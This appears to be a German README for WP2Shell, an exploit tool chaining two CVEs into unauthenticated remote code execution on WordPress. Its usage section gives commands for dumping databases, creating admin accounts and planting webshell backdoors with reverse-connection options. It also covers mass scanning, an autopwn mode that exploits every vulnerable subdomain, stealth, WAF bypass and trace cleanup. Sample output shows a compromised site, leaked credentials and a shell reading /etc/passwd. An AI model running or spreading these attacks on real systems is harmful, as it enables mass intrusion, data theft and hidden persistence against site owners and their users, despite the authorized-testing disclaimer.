WP2Shell - WordPress-Pre-Auth-RCE-Exploit

CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Autor: G0D150NE

📌 Übersicht

WP2Shell ist ein Full-Chain-Exploit-Tool für die Remote-Codeausführung bei WordPress ohne vorherige Authentifizierung. Es kombiniert zwei kritische Schwachstellen:

• CVE-2026-63030 - SQL-Injection im Batch-Endpunkt der REST-API
• CVE-2026-60137 - Authentifizierungsumgehung per oEmbed-Cache-Poisoning

Dieses Tool ermöglicht die vollständige Kompromittierung verwundbarer WordPress-Installationen ohne jegliche Authentifizierung - von der Erkennung bis hin zu vollständiger RCE und Persistenz.

⚡ Funktionen

• 🔍 Zerstörungsfreie Prüfung - Sichere Bestätigung von Schwachstellen
• 📊 Extraktion mit mehreren Techniken - UNION, error-basiert, Blind-SQLi
• 🚀 Vollständige RCE-Kette - Von SQLi bis zur Erstellung eines Admin-Kontos
• 🐚 Webshell-Bereitstellung - Versteckter Backdoor auf Plugin-Basis
• 🧹 Cleanup-Funktion - Entfernt alle Spuren
• 📡 Massen-Scanning - Multithread-Scanner für mehrere Ziele
• 🤖 Autopwn-Modus - Subdomain-Erkennung + automatische Ausnutzung
• 🌐 Proxy-Rotation - Unterstützung für rotierende Proxys
• 🕵️ Stealth-Modus - Zufällige Verzögerungen und WAF-Bypass-Techniken

🔧 Installation

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Verwendung

Befehlsstruktur

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Verfügbare Befehle

🚀 Beispiele

1. Schwachstellenprüfung

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Datenextraktion

Basis-Fingerprint:

python3 wp2shell.py read https://target.com

Benutzer extrahieren:

python3 wp2shell.py read https://target.com --preset users

Benutzerdefinierte Abfrage:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Gesamte Datenbank dumpen:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Vollständige Ausnutzung

Basis-Exploit:

python3 wp2shell.py exploit https://target.com

Exploit mit interaktiver Shell:

python3 wp2shell.py exploit https://target.com --interactive

Exploit mit Backdoor-Installation:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit mit Datenbank-Dump:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit mit Cleanup (Spuren entfernen):

python3 wp2shell.py exploit https://target.com --cleanup

4. Verwendung vorhandener Admin-Anmeldedaten

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Massen-Scanning

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Autopwn-Modus (Vollautomatisierung)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Dabei wird Folgendes durchgeführt:

1. Subdomains über crt.sh ermitteln
2. WordPress-Installationen identifizieren
3. Alle verwundbaren Websites ausnutzen
4. Backdoors auf erfolgreich kompromittierten Zielen installieren

🎮 Interaktive Shell

Nach der Ausnutzung erhalten Sie eine vollständige interaktive Shell:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Optionen-Referenz

Allgemeine Optionen

Optionen für den Befehl „read"

Optionen für den Befehl „exploit"

🔬 Technische Details

Schwachstellenkette

1. SQL-Injection (CVE-2026-63030)

   • Tritt im Endpunkt /wp-json/batch/v1 auf
   • Der Parameter author_exclude ist anfällig für zeitbasierte Blind-SQLi
   • Ermöglicht UNION- und error-basierte Extraktion

2. Authentifizierungsumgehung (CVE-2026-60137)

   • oEmbed-Cache-Poisoning über den /_embed-Parameter
   • Ermöglicht die Erstellung von Admin-Benutzern über Customizer-Changeset
   • Löst eine Re-Entry-Kette zur Erstellung privilegierter Konten aus

Unterstützte WordPress-Versionen

Extraktionstechniken

📊 Ausgabebeispiele

Erfolgreiche Ausnutzung

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Haftungsausschluss

Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Die Autoren übernehmen keinerlei Verantwortung für Missbrauch.

📚 Referenzen

• CVE-2026-63030
• CVE-2026-60137
• WordPress-Sicherheitshinweis
• WP2Shell-Technikblog

🤝 Mitwirken

Einen Fehler gefunden? Möchten Sie das Tool verbessern? Pull-Requests sind willkommen!

1. Repository forken
2. Feature-Branch erstellen
3. Änderungen committen
4. Branch pushen
5. Pull-Request eröffnen

📄 Lizenz

MIT-Lizenz - Details finden Sie in der LICENSE-Datei.